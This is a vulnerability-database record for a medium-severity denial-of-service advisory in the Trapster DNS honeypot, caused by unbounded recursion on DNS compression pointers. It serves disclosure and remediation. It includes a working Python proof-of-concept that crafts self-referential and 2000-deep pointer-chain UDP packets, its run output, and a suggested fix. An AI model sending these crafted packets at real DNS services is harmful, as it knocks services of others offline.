{"id":"GHSA-mxwc-wh95-pw4g","kind":"vulnerability","aliases":["GHSA-mxwc-wh95-pw4g"],"related":[],"title":"Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler","description":"## Summary\n\n`trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).\n\n## Severity\n\nMedium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.\n\n## Affected component\n\n- File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`).\n- Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port.\n- Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`.\n\n## Details\n\n`decode_labels` implements RFC 1035 §4.1.4 name compression:\n\n```python\ndef decode_labels(message, offset):\n    labels = []\n    while True:\n        length, = struct.unpack_from(\"!B\", message, offset)\n        if (length & 0xC0) == 0xC0:\n            pointer, = struct.unpack_from(\"!H\", message, offset)\n            offset += 2\n            return labels + decode_labels(message, pointer & 0x3FFF), offset   # <-- recurses per pointer\n        ...\n```\n\nEach compression pointer triggers a fresh recursive call to `decode_labels`. There is:\n\n- **No cycle detection** — a pointer that targets its own offset recurses forever.\n- **No depth bound** — a chain of distinct forward pointers recurses once per pointer.\n\nEither shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.\n\nThis is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.\n\n## Proof of Concept\n\nReal-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`.\n\n`e2e_poc.py`:\n\n```python\nimport asyncio, struct, socket, sys\nfrom trapster.modules.dns import DnsHoneypot\nfrom trapster.logger.base import BaseLogger\n\nHOST, PORT = \"127.0.0.1\", 15353\ncaptured_loop_exceptions = []\n\ndef build_benign_query(qname=b\"example.com\"):\n    header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n    labels = b\"\".join(struct.pack(\"!B\", len(p)) + p for p in qname.split(b\".\")) + b\"\\x00\"\n    return header + labels + struct.pack(\"!2H\", 1, 1)\n\ndef build_self_pointer():\n    header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n    name = struct.pack(\"!H\", 0xC000 | 12)   # pointer to offset 12 == this name\n    return header + name + struct.pack(\"!2H\", 1, 1)\n\ndef build_pointer_chain(depth=2000):\n    header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n    name = struct.pack(\"!H\", 0xC000 | 18)\n    qtail = struct.pack(\"!2H\", 1, 1)\n    chain = bytearray()\n    for i in range(depth):\n        chain += struct.pack(\"!H\", 0xC000 | (18 + 2 * (i + 1)))\n    chain += b\"\\x00\"\n    return header + name + qtail + bytes(chain)\n\ndef send_udp(payload, timeout=1.0):\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)\n    s.sendto(payload, (HOST, PORT))\n    try: return s.recvfrom(4096)[0]\n    except socket.timeout: return None\n    finally: s.close()\n\nasync def main():\n    loop = asyncio.get_running_loop()\n    def handler(loopobj, context):\n        exc = context.get(\"exception\")\n        captured_loop_exceptions.append((repr(exc), context.get(\"message\")))\n        print(f\"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}\")\n    loop.set_exception_handler(handler)\n\n    hp = DnsHoneypot(config={\"port\": PORT, \"target_dns\": \"127.0.0.1\"},\n                     logger=BaseLogger(node_id=\"e2e\"), bindaddr=HOST)\n    await hp.start(); await asyncio.sleep(0.4)\n    print(f\"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\\n\")\n\n    print(\"=== NEGATIVE CONTROL: benign query example.com A ===\")\n    captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)\n    print(f\"  loop exceptions after benign packet: {len(captured_loop_exceptions)}\")\n    assert len(captured_loop_exceptions) == 0\n    print(\"  -> benign packet parsed cleanly, no exception\\n\")\n\n    print(\"=== VECTOR A: single self-referential compression pointer (cycle) ===\")\n    captured_loop_exceptions.clear(); pkt = build_self_pointer()\n    print(f\"  packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)\")\n    send_udp(pkt); await asyncio.sleep(0.5)\n    print(f\"  loop exceptions captured: {len(captured_loop_exceptions)}\")\n    for e in captured_loop_exceptions: print(f\"    {e}\")\n    assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n    print(\"  -> RecursionError escaped datagram_received (DoS, no cycle guard)\\n\")\n\n    print(\"=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\")\n    captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)\n    print(f\"  packet ({len(pkt)} bytes) = 2000-deep forward pointer chain\")\n    send_udp(pkt); await asyncio.sleep(0.5)\n    print(f\"  loop exceptions captured: {len(captured_loop_exceptions)}\")\n    for e in captured_loop_exceptions: print(f\"    {e}\")\n    assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n    print(\"  -> RecursionError escaped datagram_received (DoS, no depth bound)\\n\")\n\n    await hp.stop(); print(\"ALL ASSERTIONS PASSED\")\n\nif __name__ == \"__main__\":\n    sys.setrecursionlimit(1000)\n    asyncio.run(main())\n```\n\nVerbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`:\n\n```\n[deploy] DnsHoneypot listening on udp://127.0.0.1:15353\n\n=== NEGATIVE CONTROL: benign query example.com A ===\n  loop exceptions after benign packet: 0\n  -> benign packet parsed cleanly, no exception\n\n=== VECTOR A: single self-referential compression pointer (cycle) ===\n  packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n  loop exceptions captured: 1\n    (\"RecursionError('maximum recursion depth exceeded in comparison')\", 'Exception in callback _SelectorDatagramTransport._read_ready()')\n  -> RecursionError escaped datagram_received (DoS, no cycle guard)\n\n=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\n  packet (4019 bytes) = 2000-deep forward pointer chain\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n  loop exceptions captured: 1\n    (\"RecursionError('maximum recursion depth exceeded in comparison')\", 'Exception in callback _SelectorDatagramTransport._read_ready()')\n  -> RecursionError escaped datagram_received (DoS, no depth bound)\n\nALL ASSERTIONS PASSED\n```\n\nThe negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.\n\n## Impact\n\nAny host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.\n\n## Suggested fix\n\nMake `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`'s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise \"unknown label encoding\"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler.\n\nVerified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion):\n\n```python\ndef decode_labels(message, offset):\n    labels = []\n    return_offset = None\n    max_allowed_pointer = len(message)\n    while True:\n        length, = struct.unpack_from(\"!B\", message, offset)\n        if (length & 0xC0) == 0xC0:\n            pointer, = struct.unpack_from(\"!H\", message, offset)\n            if return_offset is None:\n                return_offset = offset + 2\n            target = pointer & 0x3FFF\n            if target >= max_allowed_pointer:\n                raise ValueError(\"invalid DNS compression pointer\")\n            max_allowed_pointer = target\n            offset = target\n            continue\n        if (length & 0xC0) != 0x00:\n            raise ValueError(\"unknown label encoding\")\n        offset += 1\n        if length == 0:\n            return labels, return_offset if return_offset is not None else offset\n        labels.append(*struct.unpack_from(\"!%ds\" % length, message, offset))\n        try:\n            labels[-1] = labels[-1].decode()\n        except UnicodeDecodeError:\n            labels[-1] = str(labels[-1])\n        offset += length\n```\n\nA fix PR will be supplied from a temporary private fork during the embargo.\n\n## Credit\n\nDiscovered and reported by tonghuaroot.","summary":"A single unauthenticated UDP packet with malformed DNS name compression pointers makes the Trapster DNS honeypot raise a RecursionError that escapes the packet handler. Sustained packets cause repeated tracebacks and CPU use, denying service to the DNS honeypot module.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"trapster","fixed":["1.2.2"],"affected":"< 1.2.2","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-674","dns","honeypot","package","pypi","python","trapster"],"not_affected_if":["dns-module-disabled","non-reachable-bind-address"],"how_to_check":"- Check the installed version with `pip show trapster` and compare against the fixed version below.\n- Look in `trapster/libs/dns.py` for `decode_labels` and whether it tracks visited offsets or limits pointer depth.\n- Confirm whether the DNS honeypot module is enabled and bound to a reachable UDP port.","fix":"- `trapster` (PyPI): upgrade to `1.2.2` or later.","status":"open","published_at":"2026-07-08T20:24:46+00:00","first_seen_at":"2026-11-06T19:33:04+00:00","triaged_at":"2026-11-06T19:33:24+00:00","updated_at":"2026-11-06T19:33:24+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-06T19:33:24Z","model":"claude-haiku-5-5","output":{"fix":"- `trapster` (PyPI): upgrade to `1.2.2` or later.","reach":"internet","title":"Trapster: malformed DNS packet crashes honeypot's per-packet handler without authentication","impact":"low","summary":"A single unauthenticated UDP packet with malformed DNS name compression pointers makes the Trapster DNS honeypot raise a RecursionError that escapes the packet handler. Sustained packets cause repeated tracebacks and CPU use, denying service to the DNS honeypot module.","audience":"developers","category":"package","nicknames":[],"who_cares":["python","pypi","trapster","honeypot","dns"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"DNS honeypot stops handling packets and floods logs with tracebacks","analyst_note":"","how_to_check":"- Check the installed version with `pip show trapster` and compare against the fixed version below.\n- Look in `trapster/libs/dns.py` for `decode_labels` and whether it tracks visited offsets or limits pointer depth.\n- Confirm whether the DNS honeypot module is enabled and bound to a reachable UDP port.","plain_action":"","needs_analyst":false,"not_affected_if":["dns-module-disabled","non-reachable-bind-address"],"who_is_affected":"Teams running the Trapster honeypot with the DNS module enabled and listening on a UDP port reachable from untrusted networks. Any host able to send UDP to that bind address and port can trigger the crash with one small packet. Deployments without the DNS module, or with it bound only to a private interface, have much less exposure.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001139,"input_tokens":8375,"output_tokens":603,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-674':26B '/proxy':383C '0':504C,505C,506C,539C,540C,541C,572C,573C,574C '0x0100':502C,537C,570C '0x1234':501C,536C,569C '0x3fff':290C '0xc0':274C,275C '0xc000':545C,578C,595C '1':503C,527C,528C,538C,558C,559C,571C,583C,584C,599C '1.0':614C '1035':89C,253C '12':546C,550C '127.0.0.1':486C '15353':487C '18':579C,596C '2':283C,597C '2000':565C '23156739de23816657cbc4582ad32094ed1cab43':247C '2h':526C,557C,582C '3.1':176C '4.1.4':254C '6h':500C,535C,568C 'abort':377C 'actual':436C 'addit':419C 'address/port':240C 'affect':201C 'alreadi':426C 'anywher':125C 'asyncio':136C,472C 'attack':80C,230C 'attacker-suppli':79C 'av':177C 'avail':194C 'availability-on':193C 'b':269C,496C,508C,511C,519C,520C,601C 'baselogg':483C 'benign':493C 'bind':239C 'bound':99C,322C 'bug':405C 'build':492C,530C,561C 'burn':161C 'byte':607C 'bytearray':586C 'call':208C,302C,354C 'captur':488C 'catch':347C 'caus':59B 'chain':324C,563C,585C,592C,600C,608C 'class':403C 'client':454C 'commit':246C 'communiti':2A 'compon':202C 'compress':6A,42B,90C,256C,296C,413C 'compression-point':412C 'concept':430C 'configur':238C 'cpu':63B,160C 'cpython':114C 'crash':8A 'creat':151C 'cvss':175C 'cwe':25B 'cycl':94C,309C 'data':224C,226C,358C 'datagram':104C,128C,367C,467C 'decod':75C,206C,210C,213C,249C,259C,286C,304C,342C 'def':258C,491C,529C,560C,609C 'default':140C,389C 'deni':65B 'denial':165C 'deploy':433C 'depth':98C,321C,564C,591C 'detail':248C 'detect':95C,310C 'distinct':326C 'dns':5A,27B,40B,47B,69B,76C,108C,170C,198C,214C,222C,343C,356C 'dns.decode':221C,355C 'dnshoneypot':235C,479C 'dnsudpprotocol.datagram':219C,351C 'drive':110C 'e2e':434C 'e2e_poc.py':469C 'either':333C 'escap':53B,133C,466C 'event':137C,371C,460C 'event-loop':459C 'everi':397C 'example.com':497C 'except':121C,141C,363C,390C,416C,462C,490C 'exhaust':335C 'file':203C 'fix':406C 'flood':157C,164C 'forev':319C 'forward':327C 'fresh':300C 'full':394C 'function':112C,205C 'ghsa':15A,20A 'ghsa-mxwc-wh95-pw4g':14A,19A 'guard':423C 'h':279C,544C,577C,594C 'handl':124C,382C 'handler':13A,56B,142C,391C,463C 'header':498C,523C,533C,554C,566C,604C 'honeypot':12A,28B,48B,70B,109C,171C,199C 'host':484C 'hostil':374C,446C 'implement':251C,418C 'import':471C,478C,482C 'join':509C 'l':185C 'l/pr':179C 'label':74C,207C,250C,260C,263C,285C,287C,305C,507C,524C 'lack':420C 'latest':243C 'len':512C 'length':266C,273C 'limit':117C 'listen':200C 'log':163C,392C 'loop':138C,372C,387C,461C,489C 'loop/cycle':422C 'loopback':457C 'low':155C 'low-rat':154C 'main':244C 'make':44B 'malform':4A,39B 'medium':174C 'messag':215C,223C,261C,270C,280C,288C,344C,357C 'modul':71B,172C 'mxwc':16A,21A 'n/a':184C 'n/ac':178C 'n/i':183C 'n/s':181C 'n/ui':180C 'name':41B,77C,255C,542C,552C,555C,575C,605C 'network':187C 'network-reach':186C 'never':150C 'offset':262C,271C,281C,282C,291C,317C,549C 'p':513C,514C,516C 'packag':29B 'packet':11A,37B,55B,58B,83C,146C,192C,375C,381C,398C,447C 'packet-handl':380C 'past':113C 'path':130C 'payload':232C,612C 'per':10A,87C,145C,293C,331C 'per-packet':9A,144C 'pointer':7A,43B,91C,276C,289C,294C,297C,312C,328C,332C,414C,532C,547C,562C 'port':485C 'produc':158C 'proof':428C 'propag':364C 'proxi':147C 'pw4g':18A,23A 'pypi':30B 'python':31B,257C,337C,410C,470C 'python-zeroconf':409C 'qname':495C 'qname.split':518C 'qtail':580C,606C 'queri':494C 'question':211C 'rais':49B,118C,340C 'rang':590C 'rate':156C 'raw':229C 'reach':216C 'reachabl':188C 'real':432C,443C,453C 'real-deploy':431C 'receiv':129C,220C,233C,352C,368C,468C 'record':464C 'recurs':85C,116C,292C,301C,318C,329C,415C 'recursionerror':51B,119C,341C 'repeat':60B 'return':284C,522C,553C,603C 'rfc':88C,252C 'section':212C 'self':531C 'send':610C 'sent':105C,449C 'separ':452C 'server':438C 'servic':66B,167C 'sever':173C 'shape':334C 'singl':34B,101C,191C 'single-packet':190C 'socket':445C,455C,474C 'socket.socket':616C 'stack':338C 'start':440C 'struct':473C 'struct.pack':499C,510C,525C,534C,543C,556C,567C,576C,581C,593C 'struct.unpack':267C,277C 'summari':72C 'suppli':81C 'sustain':57B,159C 'sys':475C 'target':314C 'task':148C,384C 'test':242C 'therefor':376C 'timeout':613C 'traceback':61B,395C 'trapster':1A,24A,32B,46B 'trapster.libs.dns.decode':73C 'trapster.logger.base':481C 'trapster.modules.dns':477C 'trapster.modules.dns.dnshoneypot':437C 'trapster/libs/dns.py':204C 'trapster/modules/dns.py':218C 'trigger':298C 'true':265C 'u/c':182C 'udp':36B,82C,103C,231C,444C,611C 'unauthent':3A,35B,102C,189C 'unguard':360C 'upstream':407C 'use':64B 'version':241C 'wh95':17A,22A 'x00':521C,602C 'zeroconf':411C,425C","nicknames":[],"mitigations":[],"who_affected":"Teams running the Trapster honeypot with the DNS module enabled and listening on a UDP port reachable from untrusted networks. Any host able to send UDP to that bind address and port can trigger the crash with one small packet. Deployments without the DNS module, or with it bound only to a private interface, have much less exposure.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["trapster"],"ptokens":["trapster"],"labels":["cwe674","dns","honeypot","medium","package","pypi","python","trapster"],"campaign_type":null,"search_a":"'communiti':2A 'compress':6A 'crash':8A 'dns':5A 'ghsa':15A,20A 'ghsa-mxwc-wh95-pw4g':14A,19A 'handler':13A 'honeypot':12A 'malform':4A 'mxwc':16A,21A 'packet':11A 'per':10A 'per-packet':9A 'pointer':7A 'pw4g':18A,23A 'trapster':1A,24A 'unauthent':3A 'wh95':17A,22A","search_b":"'-674':26B 'caus':59B 'compress':42B 'cpu':63B 'cwe':25B 'deni':65B 'dns':27B,40B,47B,69B 'escap':53B 'handler':56B 'honeypot':28B,48B,70B 'make':44B 'malform':39B 'modul':71B 'name':41B 'packag':29B 'packet':37B,55B,58B 'pointer':43B 'pypi':30B 'python':31B 'rais':49B 'recursionerror':51B 'repeat':60B 'servic':66B 'singl':34B 'sustain':57B 'traceback':61B 'trapster':32B,46B 'udp':36B 'unauthent':35B 'use':64B","search_c":"'/proxy':383C '0':504C,505C,506C,539C,540C,541C,572C,573C,574C '0x0100':502C,537C,570C '0x1234':501C,536C,569C '0x3fff':290C '0xc0':274C,275C '0xc000':545C,578C,595C '1':503C,527C,528C,538C,558C,559C,571C,583C,584C,599C '1.0':614C '1035':89C,253C '12':546C,550C '127.0.0.1':486C '15353':487C '18':579C,596C '2':283C,597C '2000':565C '23156739de23816657cbc4582ad32094ed1cab43':247C '2h':526C,557C,582C '3.1':176C '4.1.4':254C '6h':500C,535C,568C 'abort':377C 'actual':436C 'addit':419C 'address/port':240C 'affect':201C 'alreadi':426C 'anywher':125C 'asyncio':136C,472C 'attack':80C,230C 'attacker-suppli':79C 'av':177C 'avail':194C 'availability-on':193C 'b':269C,496C,508C,511C,519C,520C,601C 'baselogg':483C 'benign':493C 'bind':239C 'bound':99C,322C 'bug':405C 'build':492C,530C,561C 'burn':161C 'byte':607C 'bytearray':586C 'call':208C,302C,354C 'captur':488C 'catch':347C 'chain':324C,563C,585C,592C,600C,608C 'class':403C 'client':454C 'commit':246C 'compon':202C 'compress':90C,256C,296C,413C 'compression-point':412C 'concept':430C 'configur':238C 'cpu':160C 'cpython':114C 'creat':151C 'cvss':175C 'cycl':94C,309C 'data':224C,226C,358C 'datagram':104C,128C,367C,467C 'decod':75C,206C,210C,213C,249C,259C,286C,304C,342C 'def':258C,491C,529C,560C,609C 'default':140C,389C 'denial':165C 'deploy':433C 'depth':98C,321C,564C,591C 'detail':248C 'detect':95C,310C 'distinct':326C 'dns':76C,108C,170C,198C,214C,222C,343C,356C 'dns.decode':221C,355C 'dnshoneypot':235C,479C 'dnsudpprotocol.datagram':219C,351C 'drive':110C 'e2e':434C 'e2e_poc.py':469C 'either':333C 'escap':133C,466C 'event':137C,371C,460C 'event-loop':459C 'everi':397C 'example.com':497C 'except':121C,141C,363C,390C,416C,462C,490C 'exhaust':335C 'file':203C 'fix':406C 'flood':157C,164C 'forev':319C 'forward':327C 'fresh':300C 'full':394C 'function':112C,205C 'guard':423C 'h':279C,544C,577C,594C 'handl':124C,382C 'handler':142C,391C,463C 'header':498C,523C,533C,554C,566C,604C 'honeypot':109C,171C,199C 'host':484C 'hostil':374C,446C 'implement':251C,418C 'import':471C,478C,482C 'join':509C 'l':185C 'l/pr':179C 'label':74C,207C,250C,260C,263C,285C,287C,305C,507C,524C 'lack':420C 'latest':243C 'len':512C 'length':266C,273C 'limit':117C 'listen':200C 'log':163C,392C 'loop':138C,372C,387C,461C,489C 'loop/cycle':422C 'loopback':457C 'low':155C 'low-rat':154C 'main':244C 'medium':174C 'messag':215C,223C,261C,270C,280C,288C,344C,357C 'modul':172C 'n/a':184C 'n/ac':178C 'n/i':183C 'n/s':181C 'n/ui':180C 'name':77C,255C,542C,552C,555C,575C,605C 'network':187C 'network-reach':186C 'never':150C 'offset':262C,271C,281C,282C,291C,317C,549C 'p':513C,514C,516C 'packet':83C,146C,192C,375C,381C,398C,447C 'packet-handl':380C 'past':113C 'path':130C 'payload':232C,612C 'per':87C,145C,293C,331C 'per-packet':144C 'pointer':91C,276C,289C,294C,297C,312C,328C,332C,414C,532C,547C,562C 'port':485C 'produc':158C 'proof':428C 'propag':364C 'proxi':147C 'python':257C,337C,410C,470C 'python-zeroconf':409C 'qname':495C 'qname.split':518C 'qtail':580C,606C 'queri':494C 'question':211C 'rais':118C,340C 'rang':590C 'rate':156C 'raw':229C 'reach':216C 'reachabl':188C 'real':432C,443C,453C 'real-deploy':431C 'receiv':129C,220C,233C,352C,368C,468C 'record':464C 'recurs':85C,116C,292C,301C,318C,329C,415C 'recursionerror':119C,341C 'return':284C,522C,553C,603C 'rfc':88C,252C 'section':212C 'self':531C 'send':610C 'sent':105C,449C 'separ':452C 'server':438C 'servic':167C 'sever':173C 'shape':334C 'singl':101C,191C 'single-packet':190C 'socket':445C,455C,474C 'socket.socket':616C 'stack':338C 'start':440C 'struct':473C 'struct.pack':499C,510C,525C,534C,543C,556C,567C,576C,581C,593C 'struct.unpack':267C,277C 'summari':72C 'suppli':81C 'sustain':159C 'sys':475C 'target':314C 'task':148C,384C 'test':242C 'therefor':376C 'timeout':613C 'traceback':395C 'trapster.libs.dns.decode':73C 'trapster.logger.base':481C 'trapster.modules.dns':477C 'trapster.modules.dns.dnshoneypot':437C 'trapster/libs/dns.py':204C 'trapster/modules/dns.py':218C 'trigger':298C 'true':265C 'u/c':182C 'udp':82C,103C,231C,444C,611C 'unauthent':102C,189C 'unguard':360C 'upstream':407C 'version':241C 'x00':521C,602C 'zeroconf':411C,425C","first_public_at":"2026-07-08T20:24:46+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-mxwc-wh95-pw4g","url":"https://github.com/advisories/GHSA-mxwc-wh95-pw4g","severity":"medium","published_at":"2026-07-08T20:24:46+00:00","modified_at":"2026-11-06T19:28:52+00:00","first_seen_at":"2026-11-06T19:33:04+00:00","fetched_at":"2026-11-06T19:38:16+00:00","note":null}],"documents":[{"id":89115,"url":"https://api.github.com/repos/0xBallpoint/trapster-community/security-advisories/GHSA-mxwc-wh95-pw4g","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89116,"url":"https://github.com/0xBallpoint/trapster-community/security/advisories/GHSA-mxwc-wh95-pw4g","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89117,"url":"https://github.com/0xBallpoint/trapster-community/commit/dfc2c43dad119578f9c7344a0077790ed7fee01b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}